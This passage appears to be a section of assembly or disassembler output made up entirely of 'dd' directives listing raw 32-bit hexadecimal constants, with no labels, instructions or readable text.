2604A136h, 3B44E4ADh, 57307B06h, 4178F8h, 9BC516A0h dd 430176DAh, 9C304F3Fh, 92805414h, 2FA4778Dh, 0F4A728A2h dd 37F5029Eh, 30828EECh, 0F9D5BEC0h, 770020E2h, 7C7990Eh dd 947B71h, 1F84A2AEh, 4428DBBh, 7CCE95Ch, 34D9FC82h, 1EB9F4B0h dd 88776093h, 398D6A1Fh, 0C3D40C1Ch, 26C71D3Eh, 359CD3C0h dd 804CFh, 6F75E213h, 0CE4E7A8Bh, 81A7E407h, 3916E7EBh dd 797CD8h, 8718571Eh, 4A40BA43h, 0C1065E7Fh, 0E9FE28DBh dd 29AC0040h, 0DF7A7C90h, 3006835Ah, 0AFD1487h, 0C7310AC9h dd 9B90930Ch, 16E009D4h, 0E000320Fh, 6522D3A3h, 13A7BBh dd 6AF21ABAh, 0FDF13992h, 90030418h, 0C26F49h, 60CD4B37h dd 837A675Dh, 0BA06F1D3h, 90DFD3h, 0D5C009A4h, 7721F9BAh dd 3532C203h, 0F00A9E8Ah, 3B930FDAh, 0DD80581Ah, 813E52DCh dd 9F034B66h, 4F4EE4D4h, 0F6C39C2Dh, 0EC9BE0B8h, 0E7F8E2h dd 0F404FCFEh, 19EF3AF3h, 226E540Fh, 0BBD7E04Eh, 0E8CE8B76h dd 0AF21C0FBh, 0C6B86ADDh, 0B60BA80Eh, 7FB96EFEh, 233A96C3h dd 8D41CFCBh, 0EFDFDDF9h, 4F384Ch, 6F8F09D3h, 6E37F2E2h dd 72EBB23Ah, 0BB3121C0h, 6A4BD0Ah, 0E20C106Bh, 0F90371F0h dd 512C3BA1h, 10A6C9h, 0DDA5A693h, 0F518984Bh, 8F77831h dd 20873422h, 0D0A5FD8Eh, 4EDD5C88h, 3F0DA718h, 203A30F8h dd 0F858E3E7h, 18BB3035h, 30C4ECF5h, 0F3402DFFh, 340020DAh dd 151FBC91h, 74F7B0D2h, 21E46114h, 0CC3429EDh, 4E018FCBh dd 3945196Dh, 7BF4501Fh, 0C0166CA4h, 28C21B8h, 4BD8A591h dd 20191790h, 0A5C98D10h, 0B0C73BEDh, 0E51C4321h, 3B79050h dd 2F70076Ah, 58FECFB1h, 0DA88C40h, 0A2C8C0EAh, 0AFFAF65Ah dd 0C8A004FAh, 210B3674h, 8046D710h, 0EC39E804h, 0D894006Fh dd 0BB7F4E95h, 7D00C6C9h, 3D547A46h, 7A98593h, 9B3A1EFDh dd 91F200Eh, 0C5001C80h, 6E34A625h, 850FB3h, 37DEDBBCh dd 944E5BDCh, 0B5B97200h, 7FCD740Eh, 47A70161h, 3FD17AB8h dd 5616E436h, 3377D900h, 0D70FC593h, 73E4078Bh, 43E543A0h dd 2000483Ah, 0AFC65BD6h, 0A4CF59h, 0F510E47Dh, 7CF969CEh dd 52F74900h, 641F0912h, 137730B1h, 1F4D758h, 0CE63FC07h dd 0D8530523h, 1AE3A118h, 0FDBD2080h, 0C17DF01h, 0C19F9D07h dd 0E193F3Eh, 13789806h, 7EF71987h, 0D02C8969h, 1200C44Ah dd 418DFCEDh, 11042C2h, 753B0B8Ah, 0C4FB1ADAh, 1F03C07Ah dd 0A3FCA916h, 0CD58187Eh, 7727780Bh, 0C0CFD8B5h, 550FB9A9h dd 0B3068F87h, 0B8587CA7h, 0B7008h, 8B4BEB23h, 0A331CC65h dd 223E6401h, 0AC8DBEA6h, 0BBA340FAh, 0EC4D0C68h, 0DE30FB0Bh dd 0C927B400h, 9E62FFDCh, 4E3D0512h, 0C3FB19ECh, 297101A3h dd 0A465A300h, 0CF373F7Eh, 0DC09CA86h, 7E31403Ch, 121E3BE2h dd 0F080F525h, 0BC069138h, 63E400A6h, 0E687B2C8h, 10C49FAEh dd 4B00AC50h, 46B8F75Fh, 0D3C43Dh, 1B05D630h, 0DCC385h dd 60EF5172h, 0BE1457A8h, 37B13900h, 0A3CA4B98h, 63F100BAh dd 0E4B7D6DEh, 0C00F1A1Ch, 80BD8254h, 0B83098A9h, 0B61D01B5h dd 3B7B87FAh, 36C7303Ch, 800CC33Fh, 82538B15h, 0DAF895h dd 70C43844h, 55C39EC2h, 4837D107h, 104C9950h, 0FBEC00E3h dd 9F8A38B8h, 0F23A036Ch, 21A6309Eh, 9FBE4C2h, 5294E984h dd 158DF780h, 0BE00DE36h, 2FB291F1h, 0D34B0B8h, 82551679h dd 0A083D088h, 5A6F4AE8h, 81D60049h, 6BEDCAEh, 0B5B70C96h dd 2960087Eh, 0AB49F121h, 0E4755Fh, 0EB1D1782h, 0AE87F88Eh dd 2C74DA18h, 0EE4145C8h, 34A101FCh, 1FF25889h, 364080BCh dd 0EB3EB7A3h, 97B40645h, 82C2E33h, 7821B960h, 435A22h dd 0FF0ADD31h, 0B4A699Eh, 0B667E6ECh, 0C12C4EC8h, 0F18F2EF9h dd 0B4C80000h, 88EE4F09h, 0A14A5804h, 0FC808646h, 5698F4h dd 0BBFA2802h, 2EE6757Fh, 6504DD00h, 0E2115A45h, 699C00CBh dd 56CFC6C7h, 0F5003C0Bh, 0FA1BD9E9h, 967B6Fh, 0D321D5AAh dd 3883F7E8h, 0FFAC0D00h, 23688250h, 0DDDCA045h, 91170E73h dd 70A04E29h, 0DCE99CAAh, 10C44200h, 9F55A40Eh, 5B8A00D1h dd 0CD79EAE2h, 710081FBh, 2C61E9DCh, 0E6568C3Ah, 2590047h dd 0E8549D86h, 950774Fh, 87020DC9h, 0D2CB658Eh, 339F6052h dd 0F799001Bh, 0AB3D49B5h, 54055C8Fh, 0BFAC7FC5h, 0C503CE12h dd 0C814BE27h, 1AFB1F5h, 0A31BB71Dh, 0E0FDEF67h, 343C68C9h dd 943380EEh, 965FF336h, 0FEAB00E7h, 45B331BDh, 6A00DE49h dd 0D177AED4h, 6E411F4h, 75FFB6F6h, 3500287Ah, 0C5B71647h dd 609156B2h, 0E56440BBh, 8501C7EAh, 8FB584A3h, 0C0C5AC86h dd 0B4FE9080h, 90B75719h, 0A6FD2600h, 3A234F1Ah, 0E70448F0h dd 37544D0Fh, 9162C174h, 3EC05DA9h, 0E901C3D0h, 608BCE3Eh dd 0B7E8B303h, 0C6AA0072h, 2CBB3631h, 0C5605FE3h, 1FCB3E10h dd 97FE5h, 704E7F91h, 0EE2EF823h, 0B525A618h, 947D88h dd 0D9BB9B10h, 4E012B11h, 0F372C05h, 0F1C3A9A8h, 1F20C8FEh dd 19C807B2h, 0DA6A7FBAh, 528100B9h, 0E23772EDh, 55D05C00h dd 2FD79C48h, 641700BBh, 0E3872E29h, 0D50054C9h, 2C204C1Bh dd 606AF850h, 0EC93BA9Dh, 0C9006B15h, 661FEA82h, 0F001D01Eh dd 0FCD47FD5h, 0A802447h, 0D1100FC2h, 38A6DF20h, 670D921Fh dd 7084D0E1h, 0BADF7F0h, 0EBA244E4h, 8F283801h, 0E040D8A3h dd 0E6951407h, 8D20EFABh, 9D4D1Eh, 204888CCh, 2994FEA2h dd 7F7D3000h, 314C773Bh, 5D3400C2h, 20062D25h, 0DE1D0CE1h dd 0B0815167h, 0ECA12FD6h, 543748C0h, 0FA0A906Ah, 9E14247Eh dd 4A5930FFh, 10F67D8Bh, 93C126DEh, 647A7C82h, 0F0807020h dd 884700EEh, 0FA235EE1h, 41772FBDh, 18824E00h, 6C36BF9Bh dd 3C87F477h, 3B02A09Eh, 74E92D67h, 1A00E8FEh, 0BA2E140Dh dd 65900BDh, 0F710CE39h, 8CED2AFh, 0DA203812h, 66590186h dd 0ECEB5CCCh, 1800C302h, 85BFE81Ah, 3B57F1E2h, 0BE8E23BDh dd 300DEAFh, 0ED9CB049h, 0FF180C75h, 0D971F497h, 755300A3h dd 93482DF5h, 340330E7h, 15EA6A11h, 0F73EC014h, 0D9E00023h dd 857F934Dh, 38311FDh, 4CCC2440h, 38C6AF83h, 0BE1B0806h dd 2164BCh, 0EB4B464Eh, 30727AAAh, 8F2C333h, 0FB21003Dh dd 1BE741D4h, 2E009AAEh, 344E696Ah, 0C90FAD91h, 5280FAD9h dd 0E5A0D624h, 0F6557724h, 0EC702118h, 0AF723938h, 49169703h dd 0CDA007h, 0BD56A1ACh, 5A007CE1h, 0D8C49958h, 436BFCh dd 53468EE0h, 0E1070B63h, 0CA3FD40Fh, 82BB808Dh, 1D2D1E7Ah dd 5496765Bh dd 0CC00EBB9h, 6B9B3237h, 0E006A8Fh, 0DA627DDEh, 0DFA6D6h dd 8E10C5CFh, 0D95791F5h, 0FD5C9D00h, 5D2A7B4Dh, 49A300A6h dd 17D282D1h, 0FEC0E031h, 0DA3EFE13h, 0DC41009Eh, 0D84D56A0h dd 8800721Eh, 4EAD12E9h, 0E616E0DEh, 0DA970E51h, 0C1BE05A7h dd 0FC39172Fh, 68CB4045h, 8F00E5F8h, 601B40DCh, 7D0C0D6Bh dd 3349004Bh, 6583AB9Dh, 0FF02ADC6h, 1E4D20B2h, 40C3CAh dd 0D9CD9318h, 69E5ED8Bh, 8053253Eh, 0A96D86C5h, 36085A83h dd 4828A35Eh, 0BF602EF0h, 0A5537139h, 24B80CD7h, 62094BAh dd 2F850900h, 18D3BCEFh, 6508003Ah, 0B8035147h, 0DBEA1FDCh dd 8581C200h, 0F46227A2h, 3C37F8BBh, 9D050F91h, 0C70E35BEh dd 528A40B1h, 0ED0097DBh, 0CFA4A1F2h, 0B7B66C7h, 0F3D71EABh dd 5FBD7600h, 1F3055FAh, 0B98B99AEh, 0AAAF3022h, 5F6F1610h dd 0BC687060h, 1CC9DFh, 85FD0B43h, 8F6C038h, 0A72748h dd 2536F929h, 7D0DB26h, 0A524731Ah, 5511A099h, 863E677Dh dd 894C135Ah, 7C2D1007h, 0CF80F134h, 0FCE6B7C6h, 0F8330A2Ah dd 0BD26F5h, 0A8C50F0h, 0A400F1A7h, 93788ED2h, 249B624h dd 2C6B9041h, 0DC40E264h, 1C0C8DAAh, 48E74442h, 8D86FDFh dd 5F520D00h, 9200C240h, 0DC8C105Eh, 7543D5h, 0A88F55BAh dd 0A64068AEh, 33C71607h, 8049295Dh, 3A806C76h, 79937F7Dh dd 0E7D800EEh, 5FA8F97Eh, 0BB0064C7h, 810388Ah, 0B653C0h dd 9B1734AEh, 0E260C516h, 801C073Ah, 32011447h, 18DFE168h dd 981627DBh, 0AE74C3EEh, 0F2B6261Ch, 26E90C1h, 0E0D24EC9h dd 0C0199AB7h, 61DEA828h, 160CA5B8h, 0D8E41ABFh, 213B01D7h dd 0FBC9F840h, 0D02221ABh, 0A8066D22h, 2ADB7E4Fh, 2CFC0069h dd 5A4651EDh, 0D6009814h, 71DF3AF0h, 0E9796Eh, 0EC3550CBh dd 1D894936h, 292E2F00h, 7D3D065Fh, 0D64800ADh, 0CEE824E5h dd 0EF3E7E9Bh, 74520017h, 0B4F4EDBBh, 220500B9h, 1076992Fh dd 0FF3A3129h, 602DBA0Eh, 0EABFC750h, 281A1BEEh, 0F3E1601Ch dd 0ED1BEC3Dh, 80A0D339h, 0B1B763EAh, 607DB4F2h, 966A5147h dd 8E09A710h, 80D5040Fh, 35305CCh, 0B0D10CDAh, 0F838ECB1h dd 0B4072701h, 0B8B21460h, 0D8117980h, 0E75814Ah, 0AC40510Ch dd 0FE44E177h, 2088CE2Ah, 0A29BBF40h, 0F1019CB4h, 974A9FD3h dd 32D45E42h, 65184849h, 151CA900h, 2C1B5402h, 0B68060DDh dd 2E37511Ah, 5FD101F5h, 0AA39D6CEh, 194FDC4Ah, 0B1246200h dd 163DFD8Ch, 0F3F130A6h, 0CCF2E519h, 0E8701530h, 0FED8A9A3h dd 7C022613h, 80BC1EF4h, 98AEBF47h, 1E00EA29h, 40EDC79Eh dd 16D5C82h, 0A95ED523h, 0C889DADFh, 3800B196h, 34048C86h dd 0ED393C2h, 0D2BF7DFAh, 150CCC80h, 461E62A0h, 0F1B05ABh dd 9093E020h, 986E0FD5h, 208EFCF8h, 4027BCC6h, 0F9003FE8h dd 32863997h, 5943B0Ah, 59701BDFh, 46C6C075h, 0ED3C53BAh dd 0FCF7009Bh, 2D781809h, 548C0028h, 6CDF9DDCh, 0B760C17Bh dd 0CF88FA20h, 0E8D6036Bh, 75626A6Eh, 0D0B9F00Fh, 0B4C280A1h dd 74236ABh, 86F4D454h, 1501AF1Dh, 8CF80496h, 8B48AB0h dd 505C78D3h, 4EA0C6Eh, 0D120DDB1h, 6F63803Bh, 8C618AD7h dd 2DC009E8h, 3088CDF0h, 0DD410EBBh, 190CC215h, 7847F8B6h dd 0EBF8EF0Ah, 2940089h, 0A737C3DDh, 0F0FA73E4h, 9C037B7Ch dd 0EEC4A56Bh, 3C4188EDh, 0A2B7C53h, 0F910BD43h, 0FC1124h dd 7E8EC341h, 2A5860DEh, 0B0C875EEh, 0CD0530E2h, 3C8955B8h dd 1F9819DAh, 7F983E04h, 0F94A40E7h, 8ADF3100h, 497D8ED7h dd 5C800046h, 0D3BA9B34h, 0ED780637h, 474A3526h, 1CF0C003h dd 39D8E854h, 0D9F303AFh, 5D1BE0C8h, 2F9037E0h, 3AB8871Fh dd 0C7D36481h, 6DDC9BA8h, 88252C98h, 0A79100B0h, 6F0D21ABh dd 4070A00h, 0E5D7D1CDh, 0CC6E0073h, 0BC2C51C2h, 9F00B0F7h dd 3894767Ch, 9EBEDEh, 79CF9AE9h, 0E25C88Eh, 0F4014A79h dd 0D537EB72h, 5BE0B1D9h, 69DA380Ch, 93F8C00h, 45522A5Dh dd 3D703500h, 86AFCDECh, 164F476h, 98BE8E31h, 0F097E948h dd 0F0E0DDA7h, 15D1C100h, 0E6088B86h, 23AC005Ah, 0E1B3FDABh dd 0B000113Eh, 5CF1CD7h, 602C7D7Ch, 91A670D8h, 0D9776AF4h dd 29265E00h, 95CEB6CAh, 0EECD1E39h, 0DC851509h, 0CB872300h dd 0F2BC0F8h, 0E4EC7CC7h, 39801E07h, 1189F32h, 0DBBF0115h dd 0D0C51176h, 8F0F21EBh, 40774222h, 0D5887FA1h, 33B11C55h dd 87674725h, 0CF6D80D0h, 690017E2h, 138A7B28h, 483C98A6h dd 182400FBh, 3ED70021h, 876F10CEh, 0B4C7B907h, 66E03589h dd 0D6A68Dh, 78E28A1h, 5F372D98h, 0EEBE3000h, 72917343h dd 6D920B85h, 17008C4Fh, 0A2A6F84Ch, 7EC53A04h, 28C8DC0Fh dd 97100079h, 1DD5D99Dh, 0F500F155h, 50A6CA89h, 24D42322h dd 33307Eh, 1B98E5C9h, 6B07C4BDh, 60515E64h, 3BA953A0h dd 103C0E59h, 99CEA52Ch, 4FB4BD20h, 7F1C4C83h, 430097D8h dd 9BEA9DE6h, 4E282894h, 0A4AD0FE4h, 3D60ECB2h, 0F0F26B52h dd 0C214BF1Dh, 6AF99B80h, 9FDDEFh, 393A4726h, 69ACB535h dd 0DB0F9D00h, 2F655EEh, 8BE600BFh, 92404D16h, 1E012325h dd 5DCCBA79h, 0C0809072h, 8457F686h, 680EB7E8h, 0A71BBC48h dd 0DC10DD89h, 3E0C163h, 0B314EE31h, 33A06EE7h, 9008267h dd 65AFE989h, 0EA5CC6h, 8C4F123h, 430B5D84h, 7B00617Dh dd 0E59F8B46h, 1AEB3D6h, 5E716230h, 8F7A5A83h, 409C31E0h dd 0D18CC13Bh, 67F4FAh, 98564379h, 9FDC8B7Bh, 5C89C90Eh dd 93E3400Fh, 0FE9E6546h, 789A6Fh, 1795C882h, 73BE2C24h dd 0ACCC8054h, 3492D502h, 400C23ECh, 5F1A1D8h, 94A47164h dd 125CC06Bh, 0D897C3B8h, 869C0F8h, 0BC51462Ah, 4DF7613Eh dd 0EDD005Ch, 9BF2829Ch, 0EC2601B2h, 871C72CBh, 340BCDEDh dd 0BAF8DA08h, 0A91A0600h, 9E76D717h, 547C5Eh, 538A6DE9h dd 0EFC03D91h, 0DF604D00h, 0B005D26Ah, 61390010h, 0D248BEEh dd 0F2E4521Fh, 51D64C0Fh, 790B5B6h, 0DDD2478Eh, 603818D0h dd 55B0008Ch, 0CAAE7CF7h, 84006C27h, 32D1B543h, 0B81451h dd 59C78530h, 0B9BAC6D5h, 0C3008BE6h, 1A5866A9h, 60F81672h dd 23110AB1h, 3000873Dh, 6A46F22Ch, 76DC61h, 80A2688Ah dd 0E484F7FEh, 0B98D4201h, 6395FF0Fh, 1424C051h, 827A080h dd 9ECAC431h, 0F30004E4h, 0FCB16D36h, 1905FA7h, 43466A60h dd 0E3D2D483h, 0C99ECDB8h, 2C80EA00h, 0FB4B15B2h, 424100CAh dd 0D563C840h, 213CF266h, 0A0442E90h, 32330A1Eh, 0ADC78050h dd 7107FF1h, 4C853942h, 0ABFBD1EFh, 565C9D19h, 41712D00h dd 79ADE9h, 88E4B545h, 0A0E7D03Fh, 49599C00h, 0A1217CD6h dd 807407A3h, 30453CF9h, 0E386CBC7h, 699CFC03h, 0A0BA8555h dd 0BF0C80Ch, 65537B2Dh, 979A3E00h, 7D0EE036h, 0A0303B79h dd 4ADA274Ch, 49BFFE35h, 3058021h, 205D6E5Eh, 966CBEE4h dd 0BD707301h, 0DE9C358Bh, 0B4023E4h, 0E7674C6Eh, 3B097822h dd 260EA048h, 0F8392C02h, 48BFAC3Dh, 7CB5B30h, 0C613541h dd 0C0CD3001h, 0B403287Ah, 466EC966h, 273280CBh, 0F6B70036h dd 1109372Ch, 0AD0E829Fh, 0A4613424h, 0DB800B85h, 8E1AA9h dd 3FB4D7B9h, 0F46EC114h, 0EFF9A203h, 0C076E27Eh, 382E420h dd 37F5ED8Bh, 883E1D95h, 0F4A10015h, 0A7166AAFh, 5945E0E3h dd 190018F6h, 6CBA7C35h, 6F0287FFh, 6A4D95F5h, 0AFCC4831h dd 0AAE607ACh, 0A6B716h dd 14CB8C1Dh, 31F6F700h, 55D1B637h, 253FC32h, 3A280987h dd 0E4486498h, 475D486h, 3903F101h, 524C8108h, 0F8140AC0h dd 0F43A0036h, 0C12673C0h, 5A0754BBh, 172BA50Bh, 35377440h dd 0A0B7008Eh, 95237EA6h, 0C00A8B0Fh, 0B06D249Ch, 21C0071Dh dd 1EAF8D6Fh, 0D72300B5h, 67726EBFh, 0F701C41Bh, 39F98310h dd 0E831795Fh, 2286D8h, 5B7B091h, 0EC15E6A2h, 965F423Ah dd 3004B6F2h, 649C6304h, 0B4080067h, 2E4F48E4h, 0C2000A92h dd 5037FCBFh, 5ABF1DFh, 0EAD1E938h, 129280EFh, 7C901E2Ch dd 0D4E16616h, 0E6BE7601h, 75C84A03h, 35CF688h, 7FBA0179h dd 0F8015976h, 6529E8C8h, 0D8F8482Ch, 86AE5870h, 3728960Bh dd 927D5780h, 6C3BC224h, 0A2AB0012h, 2629E589h, 69190065h dd 0C6E79B8Fh, 8C0088A5h, 0B57A3945h, 0F6704E0h, 5D2C2740h dd 65A1DE0h, 230095C4h, 8FFBAD49h, 0A86D2A34h, 3F524880h dd 770385A7h, 0B7EDCB50h, 0C4C48226h, 63EE3980h, 5F75981h dd 3DDBA1D5h, 72F380A0h, 37002F06h, 0E59E4F73h, 0D7A8FFh dd 0B20C6310h, 0EC594EDFh, 0E269E960h, 0C7A4CAh, 1913670Ah dd 0FA76D52Ch, 6B332D00h, 0F60EBDBBh, 641C48E2h, 78E56200h dd 0C9CF8CB9h, 0CB8B28A8h, 0FCB5A605h, 1C1411Fh, 0F35FCEh dd 5A36676h, 2BCD574Dh, 7C33700h, 0D7F24F97h, 0A7400A9h dd 0FD98F74Ah, 8500AFFEh, 82842AF0h, 7180A621h, 0D5A700C3h dd 0A80B0F2Ch, 0F600DCB6h, 2A5FB730h, 0E91F0Ch, 6B0D8F53h dd 0E56A0F44h, 469B4E1Fh, 0C401C557h, 7D628580h, 0BAC0F0h dd 2E4DD644h, 942633FCh, 2AB225Ch, 1753427Fh, 785CC9EBh dd 402061E5h, 913D00FFh, 87AB113Fh, 0D872CDFBh, 5882A09h dd 95E025F5h, 2C50788Ch, 0FB09944h, 0C9E096CEh, 0A769D91Fh dd 4847DD00h, 0F4C27088h, 0CA7C00C7h, 99D2A5D5h, 9407C807h dd 0F9E3B74Ch, 5D1C1089h, 0AF3A015Fh, 0F5C53F34h, 0F908310Ah dd 2E48FC04h, 6AC9B300h, 3AAEDA47h, 95833B5Fh, 5DF45880h dd 3846ED79h, 4490FA2Ch, 435B417h, 2117B80h, 89563B51h dd 0C87CB060h, 0D20A9DA3h, 0F81868A4h, 956BDC00h, 3671D91h dd 458B6DA6h, 35F9F8DFh, 4028E0DAh, 0E25CD91Ch, 0C986215h dd 41303AF5h, 0E4E12CBh, 8E480057h, 27B1A4B6h, 0F0861F0Bh dd 844B0914h, 24B09CC9h, 7B30084h, 0A6E371EBh, 4700DA56h dd 705ED637h, 74B5FE1h, 21EBF961h, 26C8C34Ch, 0E48DFFE1h dd 3300FA3Bh, 0E3902910h, 0D013D7h, 6531C7C0h, 0E6ECABE4h dd 51235C0Bh, 4C18233Dh, 4A88F82Fh, 11D00029h, 0B22EB0C0h dd 27057D25h, 6EF62B5Ch, 0B1EC5CD0h, 0F28FCE9h, 0EF1A6DE6h dd 0E43AADA0h, 0FE01DE01h, 81C4F239h, 0C096B2FBh, 5E5828C7h dd 82CD0621h, 0F6A9B03h, 7F59E580h, 0D85D6864h, 0F06301CCh dd 553F2DF3h, 0A1EA9C40h, 38B70240h, 0EE02C016h, 6471DB60h dd 1A80D4B9h, 0C601E341h, 2FE900E1h, 1F6740B3h, 17000C58h dd 604732E4h, 50394AFh, 0F57685BCh, 250D070h, 0ED01E16Eh dd 0DE56295Fh, 6823845Bh, 5D0AC280h, 0C8B8DDB3h, 28919B12h dd 0CF8A2445h, 40BC1482h, 203810h, 0A4F3C657h, 534A90CCh dd 0E37A2D00h, 28F689F5h, 0EDD20F76h, 0D7C130D3h, 2035E720h dd 984CAB76h, 0C01701D8h, 4603ECA2h, 671470h, 2845AC39h dd 78A7A17Eh, 0AABB8C12h, 0DF73B00h, 0B09F98CAh, 0BA690047h dd 687742C6h, 0B9ECBF5Ah, 0B56AE30Fh, 0D9ADC3A4h, 53BDF070h dd 88EB1F29h, 6E07412Ah, 80BA72EFh, 79FE3A29h, 7E397D82h dd 76EC47h, 4ED820A7h, 0DF903DFh, 0A66FA900h, 0D6DBC5A5h dd 592E00A0h, 5C4B8B26h, 6E037519h, 4AB24531h, 0A1D7FB6Ah dd 0A2BD1070h, 0CF96007Dh, 74CCD684h, 600B8B38h, 82F0BC4Bh dd 4073B537h, 831E24h, 7606F89Ch, 6DB8ED33h, 0BD27D900h dd 0F20FBE49h, 5C0C03D2h, 0E98F55Eh, 0A4301DE0h, 0ECD0422Ah dd 68BCC00h, 9610C991h, 0E09C0001h, 0A5549303h, 2A0007AAh dd 290A365Ah, 0D8BE06h, 39C61E1Bh, 0A2C7E5CBh, 0D95E9500h dd 6015AB9Ch, 0C2E61707h, 8FAE0C2Dh, 8A000C61h, 8EE503F8h dd 0E8739E6Ah, 3F75260Eh, 939D078Ch, 2ABB838Fh, 1B003078h dd 58D5D68Eh, 0AC6C47h, 6442B82Eh, 0B78C3920h, 0F2A6FC00h dd 435878B5h, 0B07200E4h, 1EC2BC15h, 0C000BFA1h, 6AD67FBEh dd 0CBD823Fh, 9F86DA4Ch, 492EA158h, 8A0B4DC9h, 2100DF67h dd 5928AACCh, 7B417801h, 0F916E15h, 8B11943Ch, 8037876h dd 1DF811A6h, 67F7A0BEh, 0B80CB4AEh, 832F0A9Fh, 0BAEDF62Ah dd 0AB476BD0h, 0D0752000h, 0CDAE2EB2h, 0DB1600ADh, 0DE2F37D2h dd 5801EF68h, 2B09CAA1h, 1DE03C5Ah, 3B75784Ch, 0D800FA77h dd 81C5F927h, 0BF68B6Bh, 0D3C70F01h, 3D5A90D6h, 0F23A2E0h dd 0D7F4ABACh, 6F1EEFE0h, 1500D0D3h, 0C6E578A1h, 0A80460h dd 0A5630313h, 0CA41DECFh, 27B59100h, 3C799FF6h, 24340F0Fh dd 0A00D3F0h, 89F3A3C1h, 8D2D6700h, 7AABB820h, 0CDC80009h dd 0D3968641h, 28B4E5D5h, 0CA337380h, 90767269h, 742EE8CAh dd 9CB45412h, 0C9D70FC8h, 68E0ABEEh, 0F9F07C2h, 0AD61CF13h dd 55B90C80h, 0BBA90358h, 0F0E93FBCh, 0DF546816h, 2109C52h dd 1D88938h, 125E6057h, 27DF3852h, 19E1D01Dh, 0F4B40706h dd 13944400h, 3A5EF2h, 93FCD18h, 0E52D5597h, 0ABB4B618h dd 331D389h, 0B7A1D083h, 53E0B15Eh, 89730127h, 0DA2083F3h dd 88344C69h, 1DEE6899h, 875C98Bh, 3C1C2A2Eh, 0F2B55100h dd 1CD619DEh, 8165ED1Bh, 8A2AFDDh, 5BA05247h, 8C9D930h dd 16E6600Bh, 7413258h, 0DBF7EEE1h, 0B5DF10A7h, 0A600B090h dd 8F3EF822h, 1D9E8D54h, 0C0FCF339h, 22B68A8h, 0D2398656h dd 14100F4h, 21091D82h, 0D0A900C3h, 0F192D3CCh, 5B00F499h dd 96D8E657h, 7D9507ABh, 3B3E0004h, 9EB97664h, 48006EC8h dd 8379E937h, 754B558h, 0D6CFDAB6h, 0BDB74304h, 179E70C7h dd 0CD0015DFh, 0E92B71C5h, 0F4D4984Ch, 3C857508h, 350021E4h dd 0C0CCBB54h, 0FC00F552h, 73315689h, 879BE9h, 0F05D1892h dd 493EE45Fh, 7E61627Fh, 6F2BB858h, 5D15DCh, 659BBF16h dd 0BCCA24FDh, 0B681F201h, 0FABA42C4h, 3456C0h, 45D94151h dd 0CD4038AAh, 0FD03C078h, 0C4AD970Fh, 89DBC0CAh, 0C96F815h dd 8E8BFA75h, 1400F4C1h, 285E2172h, 0A1E2A7h, 0DAE9AEB6h dd 578E3F62h, 0FF281660h, 3F73879Ch, 0DC805C12h, 2D5EB6CDh dd 7F05E87Eh, 0B99B64BCh, 0F3F1A8C0h, 68F8C036h, 0FC425CE9h dd 6B639201h, 0B77C43BFh, 2ED0B1F1h, 0EEE1C0CCh, 514608D3h dd 0C5CFED00h, 0B3C9E57Bh, 541F0C3Ah, 0F829E72Dh, 4BF3D713h dd 11C55D00h, 2C7D6521h, 1E92F7CCh, 0BA2049F4h, 4C31470Ch dd 6A799500h, 0C3A3C0E1h, 1819C1DFh, 0C82A80B9h, 3E00696Bh dd 3B92C753h, 0C05BE08Ch, 0CF108EF1h, 1A021EEEh, 29546A60h dd 0C3BF613Dh, 2D4EA840h, 6EB7009Dh, 0A5447577h, 46003063h dd 8F09F7Dh, 0E0FF4B07h, 0F970070h, 0FE8A576Dh, 1803F8E9h dd 59AE0872h, 0A482C92Ch, 0C66E73E4h, 20FB4608h, 59AFB202h dd 0DF17BBD7h, 40B08A00h, 0A101FC50h, 0B45BE880h, 589109F1h dd 5A928756h, 0A8E2FC51h, 21C0E70Ch, 2359FFD6h, 1DD00F6h dd 89E474E5h, 5403585Fh, 243BEB18h, 7715E0A5h, 6DE4F7h dd 1ED4C9E7h, 9B09F5E6h, 3B488560h, 3F15E04h, 341D5079h dd 2046EADAh, 47FB174h dd 73512E30h, 0F133070Ch, 0C003BF8Dh, 26DF508Ch, 8078AE67h dd 792724B0h, 0F690741h, 211BF0EFh, 4070A549h, 1806C7CDh dd 0D7667700h, 0D815DACAh, 8DF058h, 93C19029h, 0CEBB4975h dd 0D487C926h, 81E3D800h, 0FEA725h, 0F3DB8A6h, 1BE4D5A9h dd 518C9B17h, 264CB200h, 0A7E35Ch, 0FF684F98h, 0BB2923D4h dd 0A8B2C200h, 48ADA64Ah, 58840065h, 14125A73h, 0FB0063BDh dd 60724164h, 353E11h, 0B890A81Bh, 0B55AB625h, 7C9E0C01h dd 12A3A64Bh, 0E2C4A4D5h, 0CEEE006Bh, 7B8180B0h, 0F7003C2Fh dd 0D216DE5h, 4E296h, 0FD90F6AAh, 88329180h, 0F8AEE900h dd 0B09EF076h, 8BCB0792h, 0C0B726A4h, 81E4A508h, 0A92DCE00h dd 5E8CACC0h, 928B3FF9h, 8831F081h, 0F9EA9C79h, 5C11807Ah dd 0B9127C0Ah, 0F47400B7h, 782282F1h, 0BD00B1E7h, 0F90CC104h dd 1012ABAh, 43795A9Eh, 80AFC981h, 0E1880340h, 3FC17B7h dd 35260468h, 3BD0E045h, 6E00A942h, 7C39F1Bh, 71858F32h dd 0FC4FE8BAh, 0D844004Ch, 0A083ACBCh, 0A109A6DDh, 83881D21h dd 0BE0EF4h, 9379ADA8h, 0B1A70A3Fh, 0AFDCC005h, 0FAC02853h dd 4BE7B3h, 30B955CDh, 0C26B2220h, 4C8F3707h, 77105445h dd 1C6883AFh, 0CCB2C655h, 0AAB910EEh, 80711C7Eh, 62ACF950h dd 0C6DD3800h, 0C8C3584Bh, 728E0041h, 8885421Ah, 0DE5F6CB6h dd 0C600C5B8h, 0E059A009h, 3B0024D3h, 0AA774D1Ch, 0E89AB6h dd 70232F4h, 0BC50DCFCh, 65662B01h, 79E257B8h, 795D12D0h dd 552000CAh, 6BCD8845h, 2F740C7Eh, 20BD9230h, 207021h dd 4CB862B9h, 0A63CDD91h, 0AEED9800h, 5659EC29h, 1DF476FBh dd 7A4D037Eh, 8AB9CA00h, 0DE1CC58h, 66003B90h, 5D117163h dd 1046B47h, 0D28285EEh, 82B7EF6Ah, 18B88068h, 5A4CA095h dd 43450220h, 74B88270h, 0BE52C020h, 0D4FC033Ch, 8A718305h dd 0C53753E8h, 1B0606EEh, 662AC1FEh, 0D1FD0069h, 8AB66E7Ah dd 851DF941h, 0D80C339Bh, 7AAF20EBh, 4AE4A9h, 0C7AA6DFDh dd 0DB9BD949h, 21DA1400h, 0CC2DAD59h, 0E1E60C6Ah, 95180ACBh dd 43FFDE3h, 4528B019h, 44E0CFD9h, 38F8008Ch, 0EDC106BEh dd 0EE00EC86h, 2E61B3B2h, 0F67BD1F7h, 